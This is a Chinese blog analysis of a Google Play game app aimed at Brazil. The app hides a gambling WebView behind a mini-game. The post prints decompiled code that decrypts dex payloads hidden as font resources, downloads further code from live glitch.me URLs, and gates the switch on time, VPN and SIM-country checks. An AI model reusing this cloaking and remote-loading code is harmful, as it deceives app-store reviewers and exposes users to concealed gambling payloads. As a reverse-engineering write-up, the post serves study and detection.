首页 > 其他分享 >Google在架包分析-巴西4

Google在架包分析-巴西4

时间:2024-12-14 17:28:17浏览次数:7  
标签:分析 巴西 Google String getPackageName FManager catch new exception0

包信息

之前在应用榜找的几个包都是一家的,一样的方案没啥好分析的。
这次就换游戏榜里面找了个包,直接看图标找很好找。
在这里插入图片描述

逆向分析

安装运行,刚开始还是进的A面小游戏,然后我说来抓个包看下,重新打开了一下app,结果直接就B面了,给我整不会了。。。
现在的上架方案都这么随意进b面的吗。。。

抓包

第一个请求:https://historical-beneficial-armchair.glitch.me/ta
返回了一个key
在这里插入图片描述
,格式看着像base64 ,解码试下
在这里插入图片描述

第2个请求:https://historical-beneficial-armchair.glitch.me/ty
在这里插入图片描述
返回值同样是base64 编码
在这里插入图片描述
第三个请求:
https://historical-beneficial-armchair.glitch.me/ti在这里插入图片描述
返回值同样是base64 编码,解出来url 就是b面地址。
返回值里面还有afkey,adkey 这些参数。

第4个请求:
https://cdn.glitch.global/6f36927e-94c3-4226-a2b5-0f860ed414a1/r?v=1731719239689
这个是下载文件。

再后面的请求就是B面地址了,就不发出来了。

代码分析

apk 丢到jeb分析,看了一眼文件结构 纯java 没有so 。
包结构简单没有adj 和 af ,多半又是一个动态加载子包的方案。

代码入口
注册了一个广播ResultReceiver
aes0.setKey 设置aes秘钥
aes0.deKeyFile 解密文件


public class App extends Application {
    private ResultReceiver receiver;

    @Override  // android.app.Application
    public void onCreate() {
        super.onCreate();
        this.receiver = new ResultReceiver(this);
        Aes aes0 = new Aes();
        IntentFilter intentFilter0 = new IntentFilter(this.getPackageName());
        if(Build.VERSION.SDK_INT >= 26) {
            this.registerReceiver(this.receiver, intentFilter0, 2);
        }

        aes0.setKey(this.getPackageName());
        aes0.deKeyFile(this);
    }
}

    public void setKey(String s) {
        this.theKey = s;
        try {
            this.cipher = Cipher.getInstance("AES/CBC/PKCS5Padding");
            this.secretKey = this.generateSecretKey(s);
            this.ivParameterSpec = this.generateInitVector(s);
        }
        catch(Exception exception0) {
            exception0.printStackTrace();
        }
    }

    public void deKeyFile(Context context0) {
        FileOutputStream fileOutputStream0;
        File file0;
        byte[] arr_b1;
        try {
            InputStream inputStream0 = context0.getResources().openRawResource(0x7F080000);  // font:eyr
            byte[] arr_b = new byte[inputStream0.available()];
            inputStream0.read(arr_b);
            inputStream0.close();
            arr_b1 = this.decrypt(arr_b);
            file0 = new File(context0.getFilesDir(), context0.getPackageName());
            if(file0.exists()) {
                file0.delete();
            }

            fileOutputStream0 = new FileOutputStream(file0);
        }
        catch(Exception exception0) {
            goto label_42;
        }

        try {
            if(Build.VERSION.SDK_INT >= 34) {
                file0.setReadOnly();
            }

            fileOutputStream0.write(arr_b1);
            goto label_38;
        }
        catch(Throwable throwable0) {
        }

        try {
            fileOutputStream0.close();
            throw throwable0;
        }
        catch(Throwable throwable1) {
        }

        try {
            throwable0.addSuppressed(throwable1);
            throw throwable0;
        label_38:
            fileOutputStream0.close();
            this.loadKey(context0, file0);
            return;
        }
        catch(Exception exception0) {
        }

    label_42:
        exception0.printStackTrace();
    }

上来就直接aes解密子包,加密的文件藏在resource下 font:eyr
在这里插入图片描述
解密完调用了loadKey
加载子包dex 的 B类的构造方法

    private void loadKey(Context context0, File file0) {
        String s = context0.getDir("dex", 0).getAbsolutePath();
        DexClassLoader dexClassLoader0 = new DexClassLoader(file0.getAbsolutePath(), s, null, context0.getClassLoader());
        try {
            dexClassLoader0.loadClass(context0.getPackageName() + ".B").getDeclaredConstructor(Context.class).newInstance(context0);
        }
        catch(Exception exception0) {
            exception0.printStackTrace();
        }
    }

到私有目录files下找到子包文件,名称是包名,导出来

子包1

在这里插入图片描述
B类的构造方法
1、调用timeFun 判断当前时间是否大于2024年10月17日17点(上架更新时间)后 1小时。
2、时间符合条件后才会发送请求执行后续,否则加密子包删除原子包。

    public B(Context context0) {
        if(!this.timeFun(10, 17, 17, 1)) {
            try {
                new AESCrypto(context0.getPackageName()).encryptAndSaveApk(context0);
            }
            catch(Exception exception0) {
                exception0.printStackTrace();
            }

            return;
        }

        this.downReq(context0);
    }

timeFun 方法判断时间
这个方法的逻辑是:取当前时间 - 2024年10月17日17点的时间,大于 1小时 就为 true。
10月17是app上架时间

    private boolean timeFun(int v, int v1, int v2, int v3) {
        Calendar calendar0 = Calendar.getInstance();
        Calendar calendar1 = Calendar.getInstance();
        calendar1.set(2024, v - 1, v1, v2, 0, 0);
        return calendar0.getTimeInMillis() - calendar1.getTimeInMillis() > ((long)(v3 * 3600000));
    }

encryptAndSaveApk 加密子包文件,删除原子包文件


    public void encryptAndSaveApk(Context context0) {
        File file2;
        byte[] arr_b1;  // 加密
        File file1;
        File file0;
        FileInputStream fileInputStream0 = null;
        FileOutputStream fileOutputStream0 = null;
        FileInputStream fileInputStream1 = null;
        try {
            file0 = context0.getFilesDir();
            file1 = new File(file0, context0.getPackageName());
            fileInputStream0 = new FileInputStream(file1);
            goto label_19;
        }
        catch(Exception unused_ex) {
            goto label_46;
        }
        catch(Throwable throwable0) {
        }

        FileOutputStream fileOutputStream1 = null;
        goto label_59;
        try {
        label_19:
            byte[] arr_b = new byte[((int)file1.length())];
            if(fileInputStream0.read(arr_b) != -1) {
                fileInputStream0.read(arr_b);
            }

            arr_b1 = this.encrypt(arr_b);  // 加密
            file1.delete();  // 删除文件
            file2 = new File(file0, context0.getPackageName());
            fileOutputStream0 = new FileOutputStream(file2);
            goto label_40;
        }
        catch(Exception unused_ex) {
        }

downReq 前面抓包的第一个请求
从返回值获取key 然后发送广播。

    private void downReq(Context context0) {
        new Thread(new Runnable() {
            @Override
            public void run() {
                try {
                    HttpsURLConnection httpsURLConnection0 = (HttpsURLConnection)new URL("https://historical-beneficial-armchair.glitch.me/ta").openConnection();
                    httpsURLConnection0.setRequestMethod("POST");
                    httpsURLConnection0.setRequestProperty("Authorization", "Bearer your_secret_token");
                    if(httpsURLConnection0.getResponseCode() == 200) {
                        BufferedReader bufferedReader0 = new BufferedReader(new InputStreamReader(httpsURLConnection0.getInputStream()));
                        StringBuilder stringBuilder0 = new StringBuilder();
                        while(true) {
                            String s = bufferedReader0.readLine();
                            if(s == null) {
                                break;
                            }

                            stringBuilder0.append(s);
                        }

                        httpsURLConnection0.disconnect();
                        Intent intent0 = new Intent(context0.getPackageName());
                        intent0.putExtra("key", new String(Base64.decode(new JSONObject(stringBuilder0.toString()).getString("key"), 0)));
                        context0.sendBroadcast(intent0);
                        return;
                    }
                }
                catch(Exception exception0) {
                    exception0.printStackTrace();
                    return;
                }
            }
        }).start();
    }

回到apk 前面分析过的入口就注册了广播ResultReceiver,子包发送广播,ResultReceiver就会收到。
获取key 之后 又发送了一个广播,相当于转发一道。

public class ResultReceiver extends BroadcastReceiver {
    private String key;
    private Context mCon;

    public ResultReceiver(Context context0) {
        this.mCon = context0;
    }

    @Override  // android.content.BroadcastReceiver
    public void onReceive(Context context0, Intent intent0) {
        this.key = intent0.getStringExtra("key");
        Intent intent1 = new Intent(this.mCon.getPackageName() + this.mCon.getPackageName());
        intent1.putExtra(this.mCon.getPackageName(), this.key);
        LocalBroadcastManager.getInstance(this.mCon).sendBroadcast(intent1);
    }
}

LocalBroadcastManager 注册是在MainActivity

    protected void onCreate(Bundle bundle0) {
        super.onCreate(bundle0);
        this.setContentView(0x7F0C001C);  // layout:activity_main
        this.init_screen();
        LocalBroadcastManager.getInstance(this).registerReceiver(this.receiver, new IntentFilter(this.getPackageName() + this.getPackageName()));

这里收到广播后又调了 aes.setKey 和 aes.decryptAndSaveImage 解密方法

    public MainActivity() {
        this.receiver = new BroadcastReceiver() {
            @Override  // android.content.BroadcastReceiver
            public void onReceive(Context context0, Intent intent0) {
                String s = intent0.getStringExtra(context0.getPackageName());
                MainActivity.this.aes.setKey(s);
                MainActivity.this.aes.decryptAndSaveImage(MainActivity.this);
            }
        };
    }

decryptAndSaveImage
Aes 解密第2个子包,加密的文件是藏在resource下的 font:ianj

    public void decryptAndSaveImage(Activity activity0) {
        FileOutputStream fileOutputStream0;
        File file0;
        byte[] arr_b1;
        try {
            InputStream inputStream0 = activity0.getResources().openRawResource(0x7F080001);  // font:ianj
            byte[] arr_b = new byte[inputStream0.available()];
            inputStream0.read(arr_b);
            inputStream0.close();
            arr_b1 = this.decrypt(arr_b);
            file0 = new File(activity0.getFilesDir(), activity0.getPackageName());
            if(file0.exists()) {
                file0.delete();
            }

            fileOutputStream0 = new FileOutputStream(file0);
        }
        catch(Exception exception0) {
            goto label_42;
        }

        try {
            if(Build.VERSION.SDK_INT >= 34) {
                file0.setReadOnly();
            }

            fileOutputStream0.write(arr_b1);
            goto label_38;
        }
        catch(Throwable throwable0) {
        }

        try {
            fileOutputStream0.close();
            throw throwable0;
        }
        catch(Throwable throwable1) {
        }

        try {
            throwable0.addSuppressed(throwable1);
            throw throwable0;
        label_38:
            fileOutputStream0.close();
            this.loadDecryptedDex(activity0, file0);
            return;
        }
        catch(Exception exception0) {
        }

    label_42:
        exception0.printStackTrace();
    }

然后调用 loadDecryptedDex 加载第2个子包的 I 类的构造方法
和第一个子包一样的套路。

    private void loadDecryptedDex(Activity activity0, File file0) {
        String s = activity0.getDir("dex", 0).getAbsolutePath();
        DexClassLoader dexClassLoader0 = new DexClassLoader(file0.getAbsolutePath(), s, null, activity0.getClassLoader());
        try {
            Object[] arr_object = {activity0, this.theKey};
            dexClassLoader0.loadClass(activity0.getPackageName() + ".I").getDeclaredConstructor(Activity.class, String.class).newInstance(arr_object);
        }
        catch(Exception exception0) {
            exception0.printStackTrace();
        }
    }

子包2

在这里插入图片描述
I类 构造方法
和第一个子包差不多一样的流程,timeFun时间更早了一些,第一个时间判断过了这里肯定也是能过了。

    public I(Activity activity0, String s) {
        I.skey = s;
        if(!this.timeFun(10, 11, 0, 12)) {
            try {
                new AESCrypto(activity0.getPackageName()).encryptAndSaveApk(activity0);
            }
            catch(Exception exception0) {
                exception0.printStackTrace();
            }

            return;
        }

        this.lifecycle(activity0);
        this.firebaseCrashLogger = new FirebaseCrashLogger(activity0);
        this.downReq();
    }

调用this.downReq(); 发送第2个请求
https://historical-beneficial-armchair.glitch.me/ty

    private void downReq() {
        new Thread(new Runnable() {
            @Override
            public void run() {
                try {
                    HttpsURLConnection httpsURLConnection0 = (HttpsURLConnection)new URL("https://historical-beneficial-armchair.glitch.me/ty").openConnection();
                    httpsURLConnection0.setRequestMethod("POST");
                    httpsURLConnection0.setRequestProperty("Authorization", "Bearer your_secret_token");
                    if(httpsURLConnection0.getResponseCode() == 200) {
                        BufferedReader bufferedReader0 = new BufferedReader(new InputStreamReader(httpsURLConnection0.getInputStream()));
                        StringBuilder stringBuilder0 = new StringBuilder();
                        while(true) {
                            String s = bufferedReader0.readLine();
                            if(s == null) {
                                break;
                            }

                            stringBuilder0.append(s);
                        }

                        JSONObject jSONObject0 = new JSONObject(stringBuilder0.toString());
                        String s1 = jSONObject0.getString("isDown");
                        String s2 = jSONObject0.getString("url");
                        String s3 = new String(Base64.decode(s1, 0));
                        String s4 = new String(Base64.decode(s2, 0));
                        I.this.firebaseCrashLogger.onRe(s3, s4);
                        httpsURLConnection0.disconnect();
                        return;
                    }
                }
                catch(Exception exception0) {
                    exception0.printStackTrace();
                    return;
                }
            }
        }).start();
    }

取返回值base64解码 ,调了 I.this.firebaseCrashLogger.onRe(s3, s4);

   // 第一个参数 “isdown” 判断是否下载,第二个参数 下载地址
    public void onRe(String s, String s1) {
        FirebaseCrashLogger..ExternalSyntheticLambda0 firebaseCrashLogger$$ExternalSyntheticLambda00 = () -> try {  // isDown = 1 就不下载,直接从assets下取
            if(s.equals("1")) {  // isDown = 1 就不下载,直接从assets下取
                this.inputStream1 = this.mActivity.getAssets().open("pri_file");
                this.mActivity.getSharedPreferences(this.mActivity.getPackageName(), 0).edit().putBoolean(this.mActivity.getPackageName(), false).apply();
                return;
            }

            this.inputStream1 = this.downloadFile(s1);  // 下载文件
        }
        catch(Exception exception0) {
            exception0.printStackTrace();
            try {
                new AESCrypto(this.mActivity.getPackageName()).encryptAndSaveApk(this.mActivity);
            }
            catch(Exception exception1) {
                exception1.printStackTrace();
            }
        };
        Future future0 = this.executor.submit(firebaseCrashLogger$$ExternalSyntheticLambda00);
        FirebaseCrashLogger..ExternalSyntheticLambda1 firebaseCrashLogger$$ExternalSyntheticLambda10 = () -> try {  // 第三个请求
            this.HttpReq();  // 第三个请求
        }
        catch(Exception exception0) {
            exception0.printStackTrace();
            try {
                new AESCrypto(this.mActivity.getPackageName()).encryptAndSaveApk(this.mActivity);
            }
            catch(Exception exception1) {
                exception1.printStackTrace();
            }
        };
        FirebaseCrashLogger..ExternalSyntheticLambda2 firebaseCrashLogger$$ExternalSyntheticLambda20 = () -> {
            try {
                this.executor.submit(firebaseCrashLogger$$ExternalSyntheticLambda10).get();
                future0.get();
                boolean z = new String(Base64.decode(this.isOpen, 0)).equals("open");  // 根据服务端返回数据判断是否进B面
            }
            catch(Exception exception0) {
                goto label_53;
            }
            catch(Throwable throwable0) {
                this.executor.shutdown();
                throw throwable0;
            }

            if(z) {
                goto label_27;
            }

            try {
                new AESCrypto(this.mActivity.getPackageName()).encryptAndSaveApk(this.mActivity);
                goto label_24;
            }
            catch(Exception exception1) {
            }
            catch(Throwable throwable0) {
                this.executor.shutdown();
                throw throwable0;
            }

            try {
                exception1.printStackTrace();
            label_24:
                this.executor.shutdown();
                goto label_47;
            label_27:
                if(!this.mActivity.getSharedPreferences(this.mActivity.getPackageName(), 0).getBoolean(this.mActivity.getPackageName(), false)) {
                    this.writeFile(this.inputStream1);  // aes 解密子包
                }

                if(!this.type.equals("0")) {  // 根据服务端返回type 判断
                    goto label_50;  
                }

                this.loadDecryptedDex();  // 加载第3个子包,真正的B面集成包
            }
            catch(Exception exception0) {
                goto label_53;
            }
            catch(Throwable throwable0) {
                this.executor.shutdown();
                throw throwable0;
            }

        label_47:
            this.executor.shutdown();
            return;
            try { 
            label_50:  
                this.ruleEnter();  // 进AB切换规则判断
                goto label_61;
            }
            catch(Exception exception0) {
            }
            catch(Throwable throwable0) {
                this.executor.shutdown();
                throw throwable0;
            }

            try {
            label_53:
                exception0.printStackTrace();
            }
            catch(Throwable throwable0) {
                this.executor.shutdown();
                throw throwable0;
            }

        label_61:
            this.executor.shutdown();
        };
        this.executor.submit(firebaseCrashLogger$$ExternalSyntheticLambda20);
    }

上面这个方法就是比较核心的逻辑了
上面的请求返回值包含2个字段,isDown 和 url , 作为参数传到 onRe 方法
1、根据isDown 的值判断是否需要下载第3个子包,1 是不下载,其他值则是下载。
不下载是直接从Assets目录下取 加密的文件是 pri_file。
下载则是调用downloadFile 请求url 下载,是第4个请求
https://cdn.glitch.global/6f36927e-94c3-4226-a2b5-0f860ed414a1/r?v=1731719239689
2种方式都可以得到加密的第3个子包。
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

2、然后是调用HttpReq 发送第3个请求
https://historical-beneficial-armchair.glitch.me/ti
这个请求的返回值就是 B面地址、adj 、af 的key token 等核心参数。

    private void HttpReq() throws Exception {
        HttpsURLConnection httpsURLConnection0 = (HttpsURLConnection)new URL("https://historical-beneficial-armchair.glitch.me/ti").openConnection();
        httpsURLConnection0.setRequestMethod("POST");
        httpsURLConnection0.setRequestProperty("Authorization", "Bearer your_secret_token");
        if(httpsURLConnection0.getResponseCode() != 200) {
            new AESCrypto(this.mActivity.getPackageName()).encryptAndSaveApk(this.mActivity);
        }

        BufferedReader bufferedReader0 = new BufferedReader(new InputStreamReader(httpsURLConnection0.getInputStream()));
        StringBuilder stringBuilder0 = new StringBuilder();
        while(true) {
            String s = bufferedReader0.readLine();
            if(s == null) {
                break;
            }

            stringBuilder0.append(s);
        }

        JSONObject jSONObject0 = new JSONObject(stringBuilder0.toString());
        this.isOpen = jSONObject0.getString("isOpen");
        this.netUrl = jSONObject0.getString("url");
        this.type = jSONObject0.getString("type");
        this.afkey = jSONObject0.getString("afkey");
        this.adkey = jSONObject0.getString("adkey");
        this.adtokens = jSONObject0.getString("adTokens");
        this.dUrl = jSONObject0.getString("downUrl");
        httpsURLConnection0.disconnect();
    }

3、请求完之后 根据返回值 isOpen 判断是否进B面
isOpen 的值base64 解码后等于 “open” ,则调用writeFile 解密第3个子包

 label_27:
                if(!this.mActivity.getSharedPreferences(this.mActivity.getPackageName(), 0).getBoolean(this.mActivity.getPackageName(), false)) {
                    this.writeFile(this.inputStream1);  // aes 解密子包
                }

4、根据返回值type 是否 等于 0 判断 是否需要进本地的AB判断规则
type 是 “0” 就直接调用 loadDecryptedDex 加载第3个子包
type 不是 “0” 就调用 ruleEnter 进到AB切换的条件判断

5、ruleEnter AB切换条件判断
两个判断条件
1、isVpnConnectionAvailable 判断是否是vpn连接
2、isSimCardFromBrazil 判断getSimCountryIso 是否是 br
判断条件通过则调用 loadDecryptedDex 加载第3个子包

    private void ruleEnter() {
        if(this.isVpnConnectionAvailable()) {
            try {
                new AESCrypto(this.mActivity.getPackageName()).encryptAndSaveApk(this.mActivity);
            }
            catch(Exception exception0) {
                exception0.printStackTrace();
            }

            return;
        }

        if(!this.isSimCardFromBrazil(this.mActivity)) {
            try {
                new AESCrypto(this.mActivity.getPackageName()).encryptAndSaveApk(this.mActivity);
            }
            catch(Exception exception1) {
                exception1.printStackTrace();
            }

            return;
        }

        this.loadDecryptedDex();
    }

    public boolean isVpnConnectionAvailable() {
        try {
            Iterator iterator0 = Collections.list(NetworkInterface.getNetworkInterfaces()).iterator();
            String s = "";
            while(true) {
            label_7:
                if(!iterator0.hasNext()) {
                    return false;
                }

                Object object0 = iterator0.next();
                NetworkInterface networkInterface0 = (NetworkInterface)object0;
                if(networkInterface0.isUp()) {
                    s = networkInterface0.getName();
                }

                if((s.contains("tun")) || (s.contains("ppp"))) {
                    return true;
                }

                boolean z = s.contains("pptp");
                break;
            }
        }
        catch(SocketException socketException0) {
            socketException0.printStackTrace();
            return false;
        }

        if(!z) {
            goto label_7;
        }

        return true;
    }
    
    public boolean isSimCardFromBrazil(Context context0) {
        TelephonyManager telephonyManager0 = (TelephonyManager)context0.getSystemService("phone");
        return telephonyManager0 == null ? false : "br".equalsIgnoreCase(telephonyManager0.getSimCountryIso());
    }

6、loadDecryptedDex 加载第3个子包
加载子包的套路是一样的。
加载的类是这个 com.example.myapplication.FManager
参数是服务端返回的b面地址,afkey, adkey 这些b面必须的参数。

    private void loadDecryptedDex() {
        try {
            File file0 = new File(this.mActivity.getCacheDir(), this.mActivity.getPackageName());
            if(Build.VERSION.SDK_INT >= 34) {
                file0.setReadOnly();
            }

            String s = this.mActivity.getDir("dex", 0).getAbsolutePath();
            new DexClassLoader(file0.getAbsolutePath(), s, null, this.mActivity.getClassLoader()).loadClass("com.example.myapplication.FManager").getDeclaredConstructor(Activity.class, String.class, String.class, String.class, String.class, String.class).newInstance(this.mActivity, this.netUrl, this.type, this.afkey, this.adkey, this.adtokens);
            new AESCrypto(this.mActivity.getPackageName()).encryptAndSaveApk(this.mActivity);
        }
        catch(Exception exception0) {
            exception0.printStackTrace();
        }
    }
第3个子包

第3个子包就是B面集成包了,有adjust ,webview 这些必不可少的东西。
在这里插入图片描述
FManager 就是B面集成的常规套路了,调adjust ,调webview 加载b面地址,然后提供js接口这些东西。

    public FManager(Activity activity0, String s, String s1, String s2, String s3, String s4) {
        ArrayList arrayList0 = new ArrayList();
        arrayList0.add("tvp77");
        arrayList0.add("ged77");
        arrayList0.add("77brl");
        arrayList0.add("okjogo777");
        this.mAct = activity0;
        this.entype = s1;
        this.enafkey = new String(Base64.decode(s2, 0));
        this.enadkey = new String(Base64.decode(s3, 0));
        this.ennetUrl = new String(Base64.decode(s, 0));
        byte[] arr_b = Base64.decode(s4, 0);
        try {
            JSONObject jSONObject0 = new JSONObject(new String(arr_b, "UTF-8"));
            this.loginToken = jSONObject0.getString("loginToken");
            this.logoutToken = jSONObject0.getString("logoutToken");
            this.registerClickToken = jSONObject0.getString("registerClickToken");
            this.registerToken = jSONObject0.getString("registerToken");
            this.rechargeClickToken = jSONObject0.getString("rechargeClickToken");
            this.firstrechargeToken = jSONObject0.getString("firstrechargeToken");
            this.rechargeToken = jSONObject0.getString("rechargeToken");
            this.enterGameToken = jSONObject0.getString("enterGameToken");
            this.openWindowToken = jSONObject0.getString("openWindowToken");
        }
        catch(Exception exception0) {
            exception0.printStackTrace();
        }

        this.initAdjust();
        this.mAct.runOnUiThread(new Runnable() {
            @Override
            public void run() {
                FrameLayout frameLayout0 = new FrameLayout(FManager.this.mAct);
                frameLayout0.setLayoutParams(new FrameLayout.LayoutParams(-1, -1));
                ProgressBar progressBar0 = new ProgressBar(FManager.this.mAct);
                FrameLayout.LayoutParams frameLayout$LayoutParams0 = new FrameLayout.LayoutParams(-2, -2);
                frameLayout$LayoutParams0.gravity = 17;
                progressBar0.setLayoutParams(frameLayout$LayoutParams0);
                progressBar0.setIndeterminate(true);
                progressBar0.setVisibility(0);
                WebView webView0 = new WebView(FManager.this.mAct);
                FManager.this.webView = webView0;
                FManager.this.webView.setLayoutParams(new FrameLayout.LayoutParams(-1, -1));
                FManager.this.webView.getSettings().setJavaScriptEnabled(true);
                FManager.this.webView.getSettings().setUseWideViewPort(false);
                FManager.this.webView.addJavascriptInterface(new apkClient(FManager.this), "jsBridge");
                FManager.this.webView.addJavascriptInterface(new apkClient2(FManager.this), "jsThirdBridge");
                FManager.this.webView.getSettings().setLoadWithOverviewMode(true);
                FManager.this.webView.getSettings().setAllowFileAccess(true);
                FManager.this.webView.setLayerType(2, null);
                FManager.this.webView.getSettings().setJavaScriptCanOpenWindowsAutomatically(true);
                FManager.this.webView.getSettings().setBuiltInZoomControls(false);
                FManager.this.webView.getSettings().setPluginState(WebSettings.PluginState.ON);
                FManager.this.webView.getSettings().setSupportZoom(true);
                FManager.this.webView.getSettings().setAllowContentAccess(true);
                FManager.this.webView.getSettings().setDomStorageEnabled(true);
                FManager.this.webView.getSettings().setDatabaseEnabled(true);
                FManager.this.webView.getSettings().setGeolocationEnabled(true);
                FManager.this.webView.getSettings().setLoadWithOverviewMode(false);
                FManager.this.webView.getSettings().setPluginState(WebSettings.PluginState.ON);
                FManager.this.webView.getSettings().setMixedContentMode(2);
                FManager.this.webView.setWebChromeClient(new WebChromeClient() {
                    @Override  // android.webkit.WebChromeClient
                    public View getVideoLoadingProgressView() {
                        FrameLayout frameLayout0 = new FrameLayout(FManager.this.mAct);
                        frameLayout0.setLayoutParams(new ViewGroup.LayoutParams(-1, -1));
                        return frameLayout0;
                    }

                    @Override  // android.webkit.WebChromeClient
                    public boolean onJsAlert(WebView webView0, String s, String s1, JsResult jsResult0) {
                        return super.onJsAlert(webView0, s, s1, jsResult0);
                    }

                    @Override  // android.webkit.WebChromeClient
                    public boolean onJsConfirm(WebView webView0, String s, String s1, JsResult jsResult0) {
                        return super.onJsConfirm(webView0, s, s1, jsResult0);
                    }

                    @Override  // android.webkit.WebChromeClient
                    public boolean onJsPrompt(WebView webView0, String s, String s1, String s2, JsPromptResult jsPromptResult0) {
                        return super.onJsPrompt(webView0, s, s1, s1, jsPromptResult0);
                    }

                    @Override  // android.webkit.WebChromeClient
                    public boolean onShowFileChooser(WebView webView0, ValueCallback valueCallback0, WebChromeClient.FileChooserParams webChromeClient$FileChooserParams0) {
                        return true;
                    }
                });
                FManager.this.webView.setWebViewClient(new WebViewClient() {
                    @Override  // android.webkit.WebViewClient
                    public void onPageFinished(WebView webView0, String s) {
                        progressBar0.setVisibility(8);
                    }

                    @Override  // android.webkit.WebViewClient
                    public boolean shouldOverrideUrlLoading(WebView webView0, WebResourceRequest webResourceRequest0) {
                        Log.d("life", "show3: " + webResourceRequest0.getUrl().toString());
                        String s = webResourceRequest0.getUrl().toString();
                        if(s.contains("https://t.me/")) {
                            Intent intent0 = new Intent("android.intent.action.VIEW", Uri.parse(s));
                            intent0.addFlags(0x10000000);
                            intent0.setPackage("com.android.chrome");
                            FManager.this.mAct.startActivity(intent0);
                            return true;
                        }

                        for(Object object0: com.example.myapplication.FManager.1.this.val$allUrl) {
                            String s1 = (String)object0;
                            if(!s.contains(s1)) {
                                continue;
                            }

                            if(Build.VERSION.SDK_INT >= 34) {
                                return false;
                            }

                            if(!s.contains(s1)) {
                                webView0.loadUrl(webResourceRequest0.getUrl().toString());
                                return false;
                            }

                            return true;
                        }

                        return false;
                    }
                });
                FManager.this.webView.setOnKeyListener(new View.OnKeyListener() {
                    @Override  // android.view.View$OnKeyListener
                    public boolean onKey(View view0, int v, KeyEvent keyEvent0) {
                        if(v == 4 && keyEvent0.getAction() == 0 && (FManager.this.webView.canGoBack())) {
                            FManager.this.webView.goBack();
                            return true;
                        }

                        return false;
                    }
                });
                String s = FManager.this.ennetUrl;
                FManager.this.webView.loadUrl(s);
                frameLayout0.addView(FManager.this.webView);
                frameLayout0.addView(progressBar0);
                FManager.this.mAct.setContentView(frameLayout0);
            }
        });
        this.mAct.getSharedPreferences(this.mAct.getPackageName(), 0).edit().putBoolean(this.mAct.getPackageName(), false).apply();
        File file0 = new File(this.mAct.getFilesDir(), this.mAct.getPackageName());
        if(file0.exists()) {
            file0.delete();
        }
    }

标签:分析,巴西,Google,String,getPackageName,FManager,catch,new,exception0
From: https://blog.csdn.net/u013170888/article/details/144468444

相关文章

  • springboot基于知识图谱与学习行为分析的在线学习平台开发
    目录功能和项目介绍系统实现截图开发核心技术介绍操作手册核心代码部分展示视频演示/源码获取功能和项目介绍jdk版本:jdk1.8+编程语言:java框架支持:springboot/ssm数据库:mysql版本不限数据库工具:Navicat/SQLyog都可以前端:vue.js+ElementUI开发工具:IDEA或......
  • 【Android】谷歌应用关机闹钟 PowerOffAlarm 源码分析,并实现定时开、关机
    前言RTCRTC即实时时钟(Real-TimeClock),主要是功能有:时间保持:RTC可以在断电的时候,仍然保持计时功能,保证时间的连续性时间显示与设置:RTC可以向系统提供年、月、日、时、分、秒等信息,系统也可以通过接口校准RTC的时间保证准确性关机闹钟PowerOffAlarmPowerOffAlarm是一个与......
  • 数据分析-从头部安全厂商的甲方和产品服务观测市场
    之前聊过,通过数据活动分析上市公司股价未来趋势期望,这篇主要就头部的安全厂商所属客户和提供的产品服务进行分析。数据采集&数据清洗对于此类数据的采集清洗通常都比较头疼,因为信息源分散,格式不统一,清洗难度大,多属于非结构化数据,对后期的分析工作较为困难。所以采用一种新型......
  • 【大数据】【Spark】书籍推荐统计分析
    文章目录@[toc]数据集说明文件说明books.csv业务需求(1)统计最受关注的书籍Top10(2)统计书籍篇幅Top10(3)统计不同出版社出版的书籍数量(4)统计不同语言的书籍数量(5)统计最不受关注的高分书籍Top10(评分4.5以上,评分人数1w以上,评论数200以下)(6)统计不同年份出版的书籍数量(7)统计不......
  • 【机器学习与数据挖掘实战】案例02:基于K-Means算法的航空公司客户价值分析
    【作者主页】FrancekChen【专栏介绍】⌈⌈⌈机器学习与数据挖掘实战⌋......
  • Sigrity System Explorer Transient Analysis模式进行瞬态仿真分析操作指导-3个单端信
    SigritySystemExplorerTransientAnalysis模式进行瞬态仿真分析操作指导-3个单端信号串扰分析SigritySystemExplorerTransientAnalysis模式可以用于瞬态仿真分析,通过搭建简易拓扑用于前仿真分析通道的时域性能,下面搭建一个简易的3个单端网络拓扑进行串扰分析,以下图为......
  • Sigrity System Explorer Transient Analysis模式进行瞬态仿真分析操作指导-单端信号-
    SigritySystemExplorerTransientAnalysis模式进行瞬态仿真分析操作指导-单端信号-串联端接SigritySystemExplorerTransientAnalysis模式可以用于瞬态仿真分析,通过搭建简易拓扑用于前仿真分析通道的时域性能,下面搭建一个简易的单端拓扑并且进行串联端接,以下图为例,准备......
  • 基于聚类分析的葡萄酒质量评价模型建立及 Python 实现(二)
    (三)问题三:酿酒葡萄与葡萄酒理化指标关系筛选理化指标计算相关系数矩阵(简单示例,可根据实际情况进一步分析),选择相关程度较高的指标(这里省略具体选择代码,可根据阈值等方式选择)。importpandasaspdimportnumpyasnp#读取酿酒葡萄和葡萄酒的理化指标数据(假设数据格式为CSV......
  • 基于聚类分析的葡萄酒质量评价模型建立及 Python 实现(一)
    一、引言    葡萄酒质量的评估在传统上主要依赖评酒员的感官评价,但这种方式主观性较强,结果存在一定的不确定性。为了建立更为客观、科学的葡萄酒质量评价体系,本文深入探讨酿酒葡萄品质与葡萄酒质量之间的关系,以及葡萄和葡萄酒的理化指标对质量的影响。通过一系列严谨......
  • 20_需求分析报告(第三章)
    3不动产登记业务流程3.1总体业务流程整体业务流程利用“互联网+”模式,实现线上线下一体化的不动产登记业务办理。总体业务流程如图3.1所示:图3.1总体业务流程流程设计说明:第一部分:保证业务能够正常办理的基础数据部分。包括测绘的前置、测绘的监管、以图管不动产实现权......